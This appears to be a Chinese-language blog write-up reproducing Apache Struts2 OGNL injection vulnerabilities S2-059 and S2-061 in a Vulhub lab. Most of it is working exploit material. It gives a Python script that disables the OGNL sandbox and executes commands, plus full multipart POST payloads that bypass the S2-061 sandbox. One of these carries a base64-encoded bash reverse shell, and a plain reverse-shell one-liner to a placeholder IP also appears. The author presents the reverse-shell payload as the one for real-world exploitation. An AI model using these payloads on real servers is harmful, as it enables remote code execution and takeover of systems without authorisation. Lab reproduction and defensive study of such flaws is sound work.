Struts2的洞一般都是OGNL表达式注入,以及对其沙盒绕过
S2-059
Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。
影响版本: Struts 2.0.0 - Struts 2.5.20
阿里云VPS 会自带阿里云盾,所以每一台阿里云VPS,都是阿里云的蜜罐了么。。自己复现都么法,自己把自己waf了,网站都打不开。
访问 http://your-ip:8080/?id=%25%7B233*233%7D
,可以发现233*233的结果被解析到了id属性中:
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests
url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}" } res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
|
S2-061
复现环境
Vulhub:
https://github.com/vulhub/vulhub/tree/master/struts2/s2-061
Struts2:
2.5.25
利用条件
此次漏洞只是S2-059修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap
在commons-collections-x.x.jar包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,如果没有使用这个依赖包,也还是没办法进行利用
漏洞概述
S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。
该漏洞影响版本范围是Struts 2.0.0到Struts 2.5.25。
漏洞复现
POC 1
POST请求
1 2 3 4 5 6 7 8
| boundary=----WebKitFormBoundary0qcU8KvOhouvJWrH Content-Length: 829
------WebKitFormBoundary0qcU8KvOhouvJWrH Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundary0qcU8KvOhouvJWrH--
|
执行命令在 (#arglist.add("id")).
POC 2
反弹shell
使用bash反弹:
1
| bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/1234 0>&1
|
http://www.jackson-t.ca/runtime-exec-payloads.html
Java 漏洞利用,常常需要注意编码。
1 2 3 4 5 6 7 8
| Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 918
------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF-
|
还有很多,不一一复现了。一个回显用来验证,一个反弹shell用来利用。可能实战遇到了,要么很好利用,要么就是各种WAF,RASP…
Ref
https://xz.aliyun.com/t/8689
https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/README.zh-cn.md